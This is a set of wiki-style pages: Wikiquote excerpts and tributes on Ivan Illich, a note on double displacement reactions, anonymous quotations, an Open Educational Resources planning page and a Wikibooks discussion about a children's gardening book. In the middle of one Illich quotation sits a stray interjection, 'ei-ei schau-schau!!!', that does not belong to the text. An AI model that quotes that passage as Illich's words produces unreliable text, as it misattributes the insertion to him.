issues which are raised once we embrace the hypothesis that society can be deschooled; to search for criteria which may help us distinguish institutions which merit development because they support learning in a deschooled milieu; and to clarify those personal goals which would foster the advent of an Age of Leisure (schole) as opposed to an economy dominated by service industries. Introduction (November 1970) Most learning is not the result of instruction. It is rather the result of unhampered participation in a meaningful setting. Most people learn best by being "with it," yet school makes them identify their personal, cognitive growth with elaborate planning and manipulation. Ritualization of Progress Address at the "Asahi Symposium Science and Man - The computer-managed Society," Tokyo, Japan (21 March 1982); as published in The CoEvolution Quarterly (Winter 1983) Machines which ape people are tending to encroach on every aspect of people's lives, and that such machines force people to behave like machines. The new electronic devices do indeed have the power to force people to "communicate" with them and with each other on the terms of the machine. Whatever structurally does not fit the logic of machines is effectively filtered from a culture dominated by their use. The machine-like behaviour of people chained to electronics constitutes a degradation of their well-being and of their dignity which, for most people in the long run, becomes intolerable. Observations of the sickening effect of programmed environments show that people in them become indolent, impotent, narcissistic and apolitical. The political process breaks down, because people cease to be able to govern themselves; they demand to be managed. Electronic management as a political issue can be approached in several ways. I propose, at the beginning of this public consultation, to approach the issue as one of political ecology. Ecology, during the last ten years, has acquired a new meaning. It is still the name for a branch of professional biology, but the term now increasingly serves as the label under which a broad, politically organized general public analyzes and influences technical decisions. I will clarify a distinction that I consider fundamental to political ecology. I shall distinguish the environment as commons from the environment as resource. On our ability to make this particular distinction depends not only the construction of a sound theoretical ecology, but also — and more importantly — effective ecological jurisprudence. "Commons" is an Old English word. According to my Japanese friends, it is quite close to the meaning that iriai still has in Japanese. "Commons," like iriai, is a word which, in preindustrial times, was used to designate certain aspects of the environment. People called commons those parts of the environment for which customary law exacted specific forms of community respect. People called commons that part of the environment which lay beyond their own thresholds and outside of their own possessions, to which, however, they had recognized claims of usage, not to produce commodities but to provide for the subsistence of their households. The customary law which humanized the environment by establishing the commons was usually unwritten. It was unwritten law not only because people did not care to write it down, but because what it protected was a reality much too complex to fit into paragraphs. The law of the commons regulates the right of way, the right to fish and to hunt, to graze, and to collect wood or medicinal plants in the forest. An oak tree might be in the commons. Its shade, in summer, is reserved for the shepherd and his flock; its acorns are reserved for the pigs of the neighbouring peasants; its dry branches serve as fuel for the widows of the village; some of its fresh twigs in springtime are cut as ornaments for the church — and at sunset it might be the place for the village assembly. When people spoke about commons, iriai, they designated an aspect of the environment that was limited, that was necessary for the community's survival, that was necessary for different groups in different ways, but which, in a strictly economic sense, was not perceived as scarce. The enclosure of the commons inaugurates a new ecological order: Enclosure did not just physically transfer the control over grasslands from the peasants to the lord. Enclosure marked a radical change in the attitudes of society towards the environment. Before, in any juridical system, most of the environment had been considered as commons from which most people could draw most of their sustenance without needing to take recourse to the market. After enclosure, the environment became primarily a resource at the service of "enterprises" which, by organizing wage-labor, transformed nature into the goods and services on which the satisfaction of basic needs by consumers depends. This transformation is in the blind spot of political economy. The appropriation of the grassland by the lords was challenged, but the more fundamental transformation of grassland (or of roads) from commons to resource has happened, until recently, without being subjected to criticism. The appropriation of the environment by the few was clearly recognized as an intolerable abuse. By contrast, the even more degrading transformation of people into members of an industrial labour force and into consumers was taken, until recently, for granted. For almost a hundred years the majority of political parties has challenged the accumulation of environmental resources in private hands. However, the issue was argued in terms of the private utilization of these resources, not the distinction of commons. Thus anticapitalist politics so far have bolstered the legitimacy of transforming commons into resources. Enclosure, once accepted, redefines community. Enclosure undermines the local autonomy of community. Enclosure of the commons is thus as much in the interest of professionals and of state bureaucrats as it is in the interest of capitalists. Enclosure allows the bureaucrats to define local community as impotent — "ei-ei schau-schau!!!" — to provide for its own survival. People become economic individuals that depend for their survival on commodities that are produced for them. Fundamentally, most citizens' movements represent a rebellion against this environmentally induced redefinition of people as consumers. As enclosure by the lords increased national productivity by denying the individual peasant to keep a few sheep, so the encroachment of the loudspeaker has destroyed that silence which so far had given each man and woman his or her proper and equal voice. Unless you have access to a loudspeaker, you now are silenced. The issue which I propose for discussion should therefore be clear: how to counter the encroachment of new, electronic devices and systems upon commons that are more subtle and more intimate to our being than either grassland or roads — commons that are at least as valuable as silence. Silence, according to western and eastern tradition alike, is necessary for the emergence of persons. It is taken from us by machines that ape people. We could easily be made increasingly dependent on machines for speaking and for thinking, as we are already dependent on machines for moving. A transformation of the environment from a commons to a productive resource constitutes the most fundamental form of environmental degradation. This degradation has a long history, which coincides with the history of capitalism but can in no way just be reduced to it. Unfortunately the importance of this transformation has been overlooked or belittled by political ecology so far. It needs to be recognized if we are to organize defense movements of what remains of the commons. This defense constitutes the crucial public task for political action during the eighties. The task must be undertaken urgently because commons can exist without police, but resources cannot. Just as traffic does, computers call for police, and for ever more of them, and in ever more subtle forms. By definition, resources call for defense by police. Once they are defended, their recovery as commons becomes increasingly difficult. This is a special reason for urgency. Online transcript During the late sixties I had a chance to give a dozen addresses to people who were concerned with education and schooling. I asked myself, since when are people born needy? In need, for instance, of education? Since when do we have to learn the language we speak by being taught by somebody? I wanted to find out where the idea came from that all over the world people have to be assembled in specific groups of not less than fifteen, otherwise it's not a class, not more than forty, otherwise they are underprivileged, for yearly, not less than 800 hours, otherwise they don't get enough, not more than 1,100 hours, otherwise it's considered a prison, for four-year periods by somebody else who has undergone this for a longer time. How did it come about that such a crazy process like schooling would become necessary? Then I realized that it was something like engineering people, that our society doesn't only produce artifact things, but artifact people. And that it doesn't do that by the content of the curriculum, but by getting them through this ritual which makes them believe that learning happens as a result of being taught; that learning can be divided into separate tasks; that learning can be measured and pieces can be added one to the other; that learning provides value for the objects which then sell in the market. And it's true. The more expensive the schooling of a person, the more money he will make in the course of his life. This in spite of the certainty, from a social science point of view, that there's absolutely no relationship between the curriculum content and what people actually do satisfactorily for themselves or society in life. The latent function of schooling, that is, the hidden curriculum, which forms individuals into needy people who know that they have now satisfied a little bit of their needs for education, is much more important... The idea that people are born with needs, that needs can be translated into rights, that these rights can be translated into entitlements, is a development of the modem world and it's reasonable, it's acceptable, it's obvious only for people who have had some of their educational needs awakened or created, then satisfied, and then learned that they have less than others. Schooling, which we engage in and which supposedly creates equal opportunities, has become the unique, never-before-attempted way of dividing the whole society into classes. Everybody knows at which level of his twelve or sixteen years of schooling he has dropped out, and in addition knows what price tag is attached to the higher schooling he has gotten. It's a history of degrading the majority of people. Increasingly people live in an artifact and become artifacts themselves, feel satisfied, feel fit for that artifact insofar as they themselves have been manipulated. Inevitably modern technology has polarized society. It has polluted the environment. It has disabled very simple native abilities and made people dependent on objects... Like an automobile which makes the world inaccessible, when actually in Latin "automobile" means "using your feet to get somewhere." The automobile makes it unthinkable. I was recently told, "You're a liar!" when I said to somebody I walked down the spine of the Andes. Every Spaniard in the sixteenth, seventeenth century did that. The idea that somebody could just walk! He can jog perhaps in the morning, but he can't walk anywhere! The world has become inaccessible because we drive there. Traditionally the gaze was conceived as a way of fingering, of touching. The old Greeks spoke about looking as a way of sending out my psychopodia, my soul's limbs, to touch your face and establish a relationship between the two of us. This relationship was called vision. Then, after Galileo, the idea developed that the eyes are receptors into which light brings something from the outside, keeping you separate from me even when I look at you. People began to conceive of their eyes as some kind of camera obscura. In our age people conceive of their eyes and actually use them as if they were part of a machinery. They speak about interface. Anybody who says to me, "I want to have an interface with you," I say, "please go somewhere else, to a toilet or wherever you want, to a mirror." Anybody who says, "I want to communicate with you," I say, "Can't you talk? Can't you speak? Can't you recognize that there's a deep otherness between me and you, so deep that it would be offensive for me to be programmed in the same way you are." The two of us haven't seen each other for a year now, and when we saw each other we bowed in front of each other. This very idea of bowing — you don't bow in front of a screen. It's made impossible, or very difficult, for people who constantly see non-persons on the screen. I want to just go back to a great rabbinical and also, as you see, monastic, Christian development beyond what the Greeks like Plato or Cicero already knew about friendship. That it is from your eye that I find myself. There's a little thing there. They called it pupilla, a "puppet" of myself which I can see in your eye. The black thing in your eye. Pupil, puppet, person, eye. It is not my mirror. It is you making me the gift of that which Ivan is for you. That's the one who says "I" here. I'm purposely not saying, this is my person, this is my individuality, this is my ego. No. I'm saying this is the one who answers you here, whom you have given to him. I cannot come to be fully human unless I have received myself as a gift and accepted myself as a gift of somebody who has, as we say today, distorted me the way you distorted me by loving me. Friendship in the Greek tradition, in the Roman tradition, in the old tradition, was always viewed as the highest point which virtue can reach. Virtue, meaning here, "the habitual facility of doing the good thing," which is fostered by what the Greeks called politaea, political life, community life. I know it was a political life in which I wouldn't have liked to participate, with the slaves around and with the women excluded, but I still have to go to Plato or to Cicero. They conceived of friendship as a supreme flowering, of the interaction which happens in a good political society. I do not believe that friendship today can flower out — can come out — of political life. I do believe that if there is something like a political life to be — to remain for us, in this world of technology — then it begins with friendship. Therefore my task is to cultivate disciplined, self-denying, careful, tasteful friendships. Mutual friendships always. I-and-you and, I hope, a third one, out of which perhaps community can grow. Because perhaps here we can find what the good is. While once friendship in our western tradition was the supreme flower of politics, I think that if community life exists at all today, it is in some way the consequence of friendship cultivated by each one who initiates it. This goes beyond anything which people usually talk about, saying each one of you is responsible for the friendships he/she can develop, because society will only be as good as the political result of these friendships. Here is the right word. Hospitality was a condition consequent on a good society in politics, politaea, and by now might be the starting point of politaea, of politics. But this is difficult because hospitality requires a threshold over which I can lead you — and TV, internet, newspaper, the idea of communication, abolished the walls and therefore also the friendship, the possibility of leading somebody over the door. Hospitality requires a table around which you can sit and if people get tired they can sleep. You have to belong to a subculture to say, we have a few mattresses here. It's still considered highly improper to conceive of this as the ideal moments in a day or a year. Hospitality is deeply threatened by the idea of personality, of scholastic status. I do think that if I had to choose one word to which hope can be tied it is hospitality. A practice of hospitality— recovering threshold, table, patience, listening, and from there generating seedbeds for virtue and friendship on the one hand — on the other hand radiating out for possible community, for rebirth of community. This breaking of the limitations of hospitality to a small in-group, of offering it to the broadest possible in-group, and saying, you determine who your guest is, might be taken as the key message of Christianity. Then in the year 300 and something, finally the Church got recognition. The bishops were made into something like magistrates. The first things those guys do, these new bishops, is create houses of hospitality, institutionalizing what was given to us as a vocation by Jesus, as a personal vocation, institutionalizing it, creating roofs, refuges, for foreigners. Immediately, very interesting, quite a few of the great Christian thinkers of that time, 1600 years ago (John Chrysostom is one), shout: "If you do that, if you institutionalize charity, if you make charity or hospitality into an act of a non-person, a community, Christians will cease to remain famous for what we are now famous for, for having always an extra mattress, a crust of old bread and a candle, for him who might knock at our door." But, for political reasons, the Church became, from the year 400 or 500 on, the main device for roughly a thousand years of proving that the State can be Christian by paying the Church to take care institutionally of small fractions of those who had needs, relieving the ordinary Christian household of the most uncomfortable duty of having a door, having a threshold open for him who might knock and whom I might not choose. I can choose. I have to choose. I have to make my mind up whom I will take into my arms, to whom I will lose myself, whom I will treat as that vis-a-vis, that face into which I look, which I lovingly touch with my fingering gaze, from whom I accept being who I am as a gift. "The Cultivation of Conspiracy" — expansion of an address delivered in Bremen, Germany, on receiving the Bremen Culture and Peace Prize (14 March 1998) (Online PDF text) Learned and leisurely hospitality is the only antidote to the stance of deadly cleverness that is acquired in the professional pursuit of objectively secured knowledge. I remain certain that the quest for truth cannot thrive outside the nourishment of mutual trust flowering into a commitment to friendship. Therefore, I have tried to identify the climate that fosters and the "conditioned" air that hinders the growth of friendship. The impending loss of spirit, of soul, of what I call atmosphere, could go unnoticed. Only persons who face one another in trust can allow its emergence. The bouquet of friendship varies with each breath, but when it is there it needs no name. For a long time I believed that there was no one noun for it, and no verb for its creation. Each time I tried one, I was discouraged; all the synonyms for it were shanghaied by its synthetic counterfeits: mass-produced fashions and cleverly marketed moods, chic feelings, swank highs and trendy tastes. Starting in the seventies, group dynamics retreats and psychic training, all to generate "atmosphere," became major businesses. Discreet silence about the issue I am raising seemed preferable to creating a misunderstanding. Then... I suddenly realized that there is indeed a very simple word that says what I cherished and tried to nourish, and that word is peace. Peace, however, not in any of the many ways its cognates are used all over the world, but peace in its post-classical, European meaning. Peace, in this sense, is the one strong word with which the atmosphere of friendship created among equals has been appropriately named. But to embrace this, one has to come to understand the origin of this peace in the conspirator, a curious ritual behavior almost forgotten today. Speaking about pax in the proto-Christan epoch turned out to be a delicate matter, because around the year 300 pax became a key word in the Christian liturgy. It became the euphemism for a mouth-to-mouth kiss among the faithful attending services; pax became the camouflage for the osculum (from os, mouth), or the conspiratio, a commingling of breaths. The Latin osculum is neither very old nor frequent. It is one of three words that can be translated by the English, "kiss." In comparison with the affectionate basium and the lascivious suavium, osculum was a latecomer into classical Latin, and was used in only one circumstance as a ritual gesture: In the second century, it became the sign given by a departing soldier to a woman, thereby recognizing her expected child as his offspring. In the Christian liturgy of the first century, the osculum assumed a new function. It became one of two high points in the celebration of the Eucharist. Conspiratio, the mount-to-mouth kiss, became the solemn liturgical gesture by which participants in the cult-action shared their breath or spirit with one another. It came to signify their union in one Holy Spirit, the community that takes shape in God's breath. The ecclesia came to be through a public ritual action, the liturgy, and the soul of this liturgy was the conspiratio. Explicitly, corporeally, the central Christian celebration was understood as a co-breathing, a con-spiracy, the bringing about of a common atmosphere, a divine milieu. The other eminent moment of the celebration was, of course, the comestio, the communion in the flesh, the incorporation of the believer in the body of the Incarnate Word, but communio was theologically linked to the preceding con-spiratio. Conspiratio became the strongest, clearest and most unambiguously somatic expression for the entirely non-hierarchical creation of a fraternal spirit in preparation for the unifying meal. Through the act of eating, the fellow conspirators were transformed into a "we," a gathering which in Greek means ecclesia. Further, they believed that the "we" is also somebody's "I"; they were nourished by shading into the "I" of the Incarnate Word. The words and actions of the liturgy are not just mundane words and actions, but events occurring after the Word, that is, after the Incarnation. Peace as the commingling of soil and waters sounds cute to my ears; but peace as the result of conspiratio exacts a demanding, today almost unimaginable intimacy. The practice of the osculum did not go unchallenged; documents reveal that the conspiratio created scandal early on. The rigorist African Church Father, Tertullian, felt that a decent matron should not be subjected to possible embarrassment by this rite. The practice continued, but not its name; the ceremony required a euphemism. From the later third century on, the osculum pacis was referred to simply as pax, and the gesture was often watered down to some slight touch to signify the mutual spiritual union of the persons present through the creation of a fraternal atmosphere. Today, the pax before communion, called "the kiss of peace," is still integral to the Roman, Slavonic, Greek and Syrian Mass, although it is often reduced to a perfunctory handshake. Community in our European tradition is not the outcome of an act of authoritative foundation, nor a gift from nature or its gods, nor the result of management, planning and design, but the consequence of a conspiracy, a deliberate, mutual, somatic and gratuitous gift to each other. The prototype of that conspiracy lies in the celebration of the early Christian liturgy in which, no matter their origin, men and women, Greeks and Jews, slaves and citizens, engender a physical reality that transcends them. The shared breath, the con-spiratio are the "peace" understood as the community that arises from it. As a scholar I have been shaped by a monastic traditions and by the interpretation of medieval texts. Early on I took it for granted that the principal condition for an atmosphere that is propitious to independent thought is the hospitality cultivated by the host: a hospitality that excludes condescension as scrupulously as seduction; a hospitality that by its simplicity defeats the fear of plagiarism as much as that of clientage; a hospitality that by its openness dissolves intimidation as studiously as servility; a hospitality that exacts from the guests as much generosity as it imposes on the host. I have been blessed with a large portion of it, with the taste of a relaxed, humorous, sometimes grotesque fit among mostly ordinary but sometimes outlandish companions who are patient with one another. I believe that the Incarnation makes possible a surprising and entirely new flowering of love and knowledge. For Christians the Biblical God can now be loved in the flesh. Before I was limited by the people into which I was born and the family in which I was raised. Now I can choose whom I will love and where I will love. And this deeply threatens the traditional basis of ethics, which was always an ethnos, an historically given “we” which proceeds any pronunciation of the world “I”. The opening of this horizon is also accompanied by a second danger: institutionalisation. There is a temptation of trying to manage and, eventually, to legislate this new love, to create an institution that will guarantee it, insure it, and protect it by criminalising its opposite. The power is claimed first by the Church and later by the many secular institutions stamped from its mould. Wherever I look for the roots of modernity, I find them in the attempts of churches to institutionalise, legitimise and manage Christian vocation. The personal freedom to choose who will be my other has been transformed into the use of power and money to provide a service. This not only deprives the idea of the neighbour of the quality of freedom implied in the story of the Samaritan. It also creates an impersonal view of how a good society ought to work. Christ came to free us from the law, but Christianity allowed the legal mentality to be brought into the very heart of love. Tyranny of old was exercised over people who still knew how to subsist. They could lose their means of subsistence and be enslaved, but they could not be made needy. With the beginning of capitalist production in the spinning and weaving shops of the Florence of the Medicis, a new type of human being was being engendered: needy man, who has to organise a society, the principal function of which is to satisfy human needs. And needs are much more cruel than tyrants. In this new kind of world neither the vitality of nature nor the creative act of God makes things what they are. This birthright is withdrawn, and things come to be what they are because of their genetic code, as we would say today. For the simple Christian there was the requirement of going to Mass every Sunday – otherwise you go to hell – or of going to confession once a year. The elaboration of this legal organisation, and this legal imposition, which defined missing out on services a sin, immediately preceded the epoch in which the state, the new Church-like state, as I called it earlier, began to introduce its own rituals. And the easiest one to follow is education. I don’t want to speak further about education here but only to show how I personally proceeded in trying to discover the origin of this belief, unknown to other societies, that you need an organised institution to make people competent to understand what is good for them and their community, that knowledge does not come from living but from education, the milk of wisdom flowing from the breasts of an institution. The search for truth presupposes the growth of philia. This philia must find an atmosphere in which it can grow, and this atmosphere cannot be taken for granted as an out-growth of civic virtue. One of the hallmarks of modernity is the progressive replacement of the idea of the good by the idea of values. .... Something very fundamental gets lost when I observe myself against values rather than feel myself as a bundle of miseries, in pain, half crippled tired but bearing all this. God’s love is in the flesh, and the relationship between two people, the mystery of the Samaritan, is inevitably a mystery of the flesh. This becomes very difficult to explain, or even to say, in our generation, during which I believe an extraordinary process, and an extraordinary history of disinfleshment of our perceptions, our concepts and our senses has reached a high point. Disembodiment is reaching a second level which I can only call algorithmization or mathematization. People annihilate their own sensual nature by projecting themselves into abstracta, into abstract notions. And this renunciation of intimate uniqueness through the introjection and self-ascription of statistical entities is being cultivated with extraordinary intensity by the way in which we live. This has to be explored. The consequence is an insensibility not only to myself but to you. The credibility of the world that based itself on citizenship, on responsibility, on power, on equality, on need, claim, and entitlement – the credibility of these as ideals to which it is worthwhile to consecrate your life is declining, and, in my opinion, very fast. I want to suggest the possibility of seeing this as the end of an epoch, just like the Roman Empire at the time of Augustine, and as an entirely new access/credibility/ease of moving into the world of conspiratio, knowing that it can’t be contractually insured, that it’s a renunciation of insurance. Illich’s essay, "Silence is a Commons", appeared in CoEvolution Quarterly in winter 1983, and I still marvel at how much wisdom he packed into that short piece. It was still the early days of the personal computer revolution, and Illich feared that “computers are doing to communication what fences did to pastures and cars did to streets.” It’s too bad that he didn’t live to see the rise of the Internet, which in some ways has mitigated some of his fears (and in other ways, fulfilled his fears). In any case, his take on the commons and the threats to it are still worth considering. David Bollier, in "Ivan Illich and Silence as a Commons", in On the Commons (6 September 2006) Illich was valued during his comparatively short period of fame for the destructive possibilities of his criticisms of almost all the institutions of industrial society, capitalist or communist, in books such as Deschooling Society (1971) and Medical Nemesis (1975) ... My attitude to Illich was composed half of admiration, half of irritation. He had a distinctly prophetic quality, but he could also be very silly, and some of the things he said were destructive of civilization itself... He was a flawed figure as a man and as a thinker: but so, no doubt, are we all. And unlike the other radicals of the era such as Herbert Marcuse, he still repays reading. Being not easily pigeon-holed, he forces us to think. Anthony Daniels in "Ivan Illich, 1926-2002" in The New Criterion (January 2003) One of the world's great thinkers, a polymath whose output covered vast terrains. He worked in 10 languages; he was a jet-age ascetic with few possessions; he explored Asia and South America on foot; and his obligations to his many collaborators led to a constant criss-crossing of the globe in the last two decades. ... His critique of modernity was founded on a deep understanding of the birth of institutions in the 13th century, a critical period in church history which enlightened all of his work, whether about gender, reading or materiality. He was far more significant as an archaeologist of ideas, someone who helped us to see the present in a truer and richer perspective, than as an ideologue. Andrew Todd and Franco La Cecla, in his obituary in The Guardian (8 December 2002) Illich lived frugally, but opened his doors to collaborators and drop-ins with great generosity, running a practically non-stop educational process which was always celebratory, open-ended and egalitarian at his final bases in Bremen, Cuernavaca and Pennsylvania. His charisma, brilliance and spirituality were clear to anyone who encountered him; these qualities sustained him in a heroic level of activity over the last 10 years in the context of terrible suffering caused by a disfiguring cancer. Following the thesis of Medical Nemesis, he administered his own medication against the advice of doctors, who proposed a largely sedative treatment which would have rendered his work impossible. Andrew Todd and Franco La Cecla, in The Guardian (8 December 2002) Wikipedia has an article about: Ivan Illich Obituary in The Guardian (8 December 2002) Ivan Illich at Penn State: Continuing the Conversation (12 - 14 November 2004) An extensive set of Illich's writings and recordings We the People interview with Jerry Brown on We the People (22 March 1996) ~ Alternate transcription : "Land of Found Friends" as published in The Aisling Magazine Issue 22 (Bealtaine 1998) "A Turbulent Priest in the Global Village : Ivan Illich, 1926–2002" by Richard Wall (an essay with further links to online writings of Illich and others) A page on Illich on the WikiWikiWeb, with more links List of pointers to Illich's writings A partial bibliography
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A double displacement reaction (also called a metathesis reaction) is the bimolecular mechanism, whereby two compound reactants AB and CD result in products of AC and BD. This is typically caused by nucleophilic attack of one group onto another, followed by the release of another group to form a different compound. A common example of this reaction is olefin metathesis, which is the rearrangement of fragments between alkenes about double bonds. Double displacement reactions occur when one or more products are released before all the substrates bind to the enzyme. Another name for double displacement reactions is "Ping-Pong" reactions. The name comes from the fact that substrates appear to bounce on and off the enzyme just like a ping-pong ball bouncing up and down on a table. An example of double displacement reaction can be seen with the enzyme, aspartate aminotransferase. This enzyme catalyzes the transfer of an amino group from aspartate to alpha-ketoglutarate to form oxaloacetate and glutamate. However, this reaction does not occur sequentially. Aspartate first binds to the enzyme and donates it's amino group to the enzyme, thus modifying the enzyme into what is called a substituted enzyme intermediate. After donating the amino group, aspartate becomes oxaloacetate and is then released. The second substrate, alpha-ketoglutarate, then binds to the enzyme and receives the amino group from the substituted enzyme intermediate. The reaction follows with the release of the final product, glutamate. (1) Aspartate (2) α-Ketoglutarate (3) Oxaloacetate (4) Glutamate
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Anonymous is the adjective form of anonymity derived from the Greek word ἀνωνυμία, anonymia, meaning "without a name" or "namelessness." It commonly refers to the state of an individual's personal identity, or personally identifiable information, being publicly unknown, intentionally or unintentionally. This article is for famous or notable quotes whose author is unknown. For quotes on the subject of anonymity, see Anonymity. For quotes by or about the social activist group which promotes anonymous social action, see Anonymous (group). Patriotism - There are people in every country who shamelessly hide their corrupt practises and sheer incompetence behind their country's flag. Quoted in Dennett, Daniel C. (2006). Breaking the Spell: Religion as a Natural Phenomenon (1st ed. ed.). Viking Penguin. pp. p. 17. ISBN 0-670-03472-X. Praise undeserv'd is satire in disguise. "Epigram on a Certain Line of Mr. Br----, Author of a Copy of Verses, Call'd the British Beauties," Published in The Grove; or, A Collection of Original Poems, Translations, &c, which was edited by Lewis Theobald (1721) Question everything, accept nothing. Quoted by Ethan Skyler; used in 2002 in reference to Galileo, para 9 [1] Real programmers don't comment their code. If it was hard to write it should be hard to understand. Appeared in "Real Programmers Don't Use Pascal", but may or may not have been in existence beforehand. Remember the Alamo! Common American war cry Shoot for the moon. Even if you miss, you will still be among the stars. Attributed to "Les Brown" (specific person not identified) You ladies, young and beautiful, we kindly you invite, To come to our grand So ree and Ball to spend a happy night, So heed the invitation, and come with hearts so true, Unto the boys of Tubbermore, who love to wear the blue. Poem from an invitational ticket to "A Grand Ball" in connection with Tobermore Flute Band that was held on Friday, 23rd October 1896. Whatever you have to say, my friend, Whether witty or grave or gay, Condense as much as ever you can, And say it the readiest way; And whether you write of rural affairs Or of matter and things in town, Just take a word of friendly advice— Boil it down. ”Boil it down”, poem in Manitoba Free Press, June 5, 1875 Let us move the village!— And where shall we move it?— Among the legs of a girl, Now, there could a village be: There is forest, there is water, There is land to plough in! ”The best place for a village”, Serbian erotic folk song Perle, pleasaunte to prynces paye To clanly clos in golde so clere, Oute of oryent, I hardyly saye, Ne proued I neuer her precios pere. ”Pearl”, 14th century SUMER is icumen in, Lhude sing cuccu! Groweth sed, and bloweth med, And springth the wude nu— Sing cuccu! ”Sumer is icumen in”, 13th century English folk song What we would achieve is, therefore, plainly and simply,— First, Destruction of the existing class rule, by all means, i.e., by energetic, relentless, revolutionary, and international action. Second, Establishment of a free society based upon co-operative organization of production. Third, Free exchange of equivalent products by and between the productive organizations without commerce and profit-mongery. Fourth, Organization of education on a secular, scientific, and equal basis for both sexes. Fifth, Equal rights for all without distinction to sex or race. Sixth, Regulation of all public affairs by free contracts between the autonomous (independent) communes and associations, resting on a federalistic basis. Whoever agrees with this ideal let him grasp our outstretched brother hands! Proletarians of all countries, unite! Fellow-workmen, all we need for the achievement of this great end is ORGANIZATION and UNITY. There exists now no great obstacle to that unity. The work of peaceful education and revolutionary conspiracy well can and ought to run in parallel lines. The day has come for solidarity. Join our ranks! Let the drum beat defiantly the roll of battle, "Workmen of all lands, unite! You have nothing to loose but your chains; you have a world to win!" Tremble, oppressors of the world! Not far beyond your purblind sight there dawns the scarlet and sable lights of the Judgment Day. Pittsburgh Manifesto, 1883, anonymous Anarchist work Proverbs, which are often passed down through the generations anonymously Bible— much of its material is of disputed authorship and is not believed to have been written by its purported authors Laozi— likely mythical founder of Taoism, most sayings attributed to him were probably written anonymously Beowulf Wikisource has original works on the topic: Anonymous texts
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This page provides background and supporting information for the Open Educational Resources (OER) Community of Practice formed in Fall 2017. What OER content is available? How can OER be interactive? How can we generate content? What Harper courses are using OER? What are faculty concerns regarding OER? What is the future of textbook publishing? Could Harper become 100% OER? Reduce textbook costs without sacrificing quality Find OER Create OER Evaluate OER Orientation Week Session? Workshops? Explore designating courses as OER-based in the schedule? List of OER resources? Information on copyright and licensing (free vs. open)? Tutorial on finding, creating, and using OER? Create a graduate-level course on using OER, creating OER, and/or having students create OER? GEC course designed to be in person, blended, online, or self-paced? Greater flexibility in course materials Learner-centered content and approach More thorough evaluation and selection of materials requirements Enhanced collaboration within disciplines Knowledge of / experience with creating free and open content Enhanced understanding of content licensing Improved student engagement and student success OER encourages higher order or deeper learning (Bloom's taxonomy levels) OER can support more learning styles than typical textbooks Students using OER have their textbooks when courses start Students using OER can keep their textbooks after the course ends Students are able to reduce overall educational costs Students who don't have or can't use technology to access OER. (Need to support printed or printable alternatives.) Maintain support for academic freedom so instructors are able to choose the resources they believe are best for their courses and students. Harper College/OER Adoption Guidebook to Research on Open Educational Resources Adoption Open Textbook Network (OTN) webinar, Sarah Cohen [email protected], February 7, 2017 Consortium of Academic & Research Libraries in Illinois (CARLI), in conjunction with OTN staff, will coordinate full-day “train the trainer” workshops to be offered to CARLI member libraries, including the Harper College Library, in 2018. ILCCO: Growing Online Learning Conference 2017 Recorded Sessions ECampusNews: Faculty want more OER - here’s why Project Gutenberg - Free ebooks Perseus Digital Library - Classical texts and translations Educause: Exploring the Use of E-Textbooks in Higher Education CCC OER Mailing List Bay College OER Website Pima Community College OER Website Lumen: Adopting Open Educational Resources in the Classroom Slideshare: AtD OER Degree Initiative OER Authoring Tools List SAIT: Open Educational Resources Policies and Procedures OpenWashington: How to use Open Educational Resources Open Educational Resources/Introduction
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I've worked on a wikijunior book The Little Gardener, and I am pretty much done with it for now, although there is certainly room to expand. My question is, what can I do next with it? Is there a place to ask for the community to review, copyedit or give suggestions? I would love to get feedback and help to "finish" it. I tried to keep the directions simple, so it is lacking more specifics simply because it acts to help grow the seed. Also, where can I add it to have more visibility? I don't think the title is very searchable, and if that is a problem I will gladly move it. - Theornamentalist (discuss • contribs) 02:15, 2 April 2012 (UTC)[] If you haven't encountered our book Using Wikibooks (which was recently promoted to Featured Book status), you may find it has some quite useful information in it; several chapters in the part "The Wikibooks Writer" pertain to creating a book. Also, I notice there's some relevant stuff in Using Wikibooks/Cleanup and Maintenance#New Books and Organizing. You'll want to add, to your book's landing page, templates {{Subjects}}, {{Alphabetical}}, and {{Status}}. Take a look at the landing pages of some other Wikijunior books for comparison (say, Wikijunior:Big Cats). --Pi zero (discuss • contribs) 02:48, 2 April 2012 (UTC)[] Doesn't it miss the best time for planting information (I understand this changes from location, but since you cover outdoors planting...). You could probably also link it to other Wikibooks (see Gardening) for more detailed information. It would also be interesting to kids to understand seeds and soil a little better, even how to make compost as a recycling activity. --Panic (discuss • contribs) 02:50, 2 April 2012 (UTC)[] This is a Wikijunior book we're talking about, though. We generally don't link the books for kids (which have extra protection against vandalism, via flaggedrevs configuration) to the books for adults (where transitory vandalism is instantly visible). --Pi zero (discuss • contribs) 14:25, 2 April 2012 (UTC)[] I do not see that as a problem (like linking to Wikipedia), I have done so in the past. If I was a vandal attempting to get minors to view objectionable content that way I would think very about start betting the lottery. Wikibooks vandalism is not that bad, the added content that would be problematic to minors is as very small part of it, mostly done by kids themselves, and I never had to correct anything in the books related to this sort of topic (exception to the Cannabis book that I don't see Theornamentalist using). The idea is for the adult content to provide further explanations or be used as source to extend the subjects at Wikijunior... --Panic (discuss • contribs) 15:53, 2 April 2012 (UTC)[] Fwiw, as I recall there'd been an incident in the months leading up to our big push to vandalism-proof the whole of Wikijunior, in which a graphic image of... I think it was some variety of aroused human sexual organ... was put up in a bunch of places. I no longer remember for sure whether some of them were on Wikijunior, but the point of proofing Wikijunior was that while adults may (as I think I put it at the time) shake their heads at the folly of vandals, clean up the mess, and move on — kids, or their guardians, should expect they won't be randomly subjected to such things on Wikijunior. We had a very off-putting warning notice at the top of the Wikijunior main page for a while, to the effect that we can't guarantee your kid won't be subjected to something really perverted, until we'd finished proofing the whole subproject. I didn't mean to suggest vandals would deliberately plan to catch kids coming from Wikijunior, but rather than kids and their guardians ought to be given a browsing experience on Wikijunior that remains within the protected zone of Wikijunior. --Pi zero (discuss • contribs) 17:55, 2 April 2012 (UTC)[] I understand the preoccupation and intention but it seems that you are attempting to establish a best practice guideline for Wikijunior (I have been a merely sporadic contributor, some spellings or formatting and I think I have linked to wikipedia one time or another. I don't have kids and personally I do not believe in walled gardens of any kind, and I especially dislike self-censuring toward undefined dangers. Since I'm not a persistent contributor to that project (nor have plans to do any major work there) it is beyond me to attempt to say what people should do or not do. I would not let my kids if below 10 to use the Internet without active guidance by a trusted adult, and I'm extremely open minded and not at all pudic. --Panic (discuss • contribs) 19:30, 2 April 2012 (UTC)[] Afaik, I'm describing existing best-practice. Not so much censorship as reasonable precaution; not a walled garden, but a playground with a chain link fence around it, which is pretty unremarkable. --Pi zero (discuss • contribs) 20:31, 2 April 2012 (UTC)[] Thank you for taking the time to respond, I will work on it this week. Regarding linking to wikipedia on 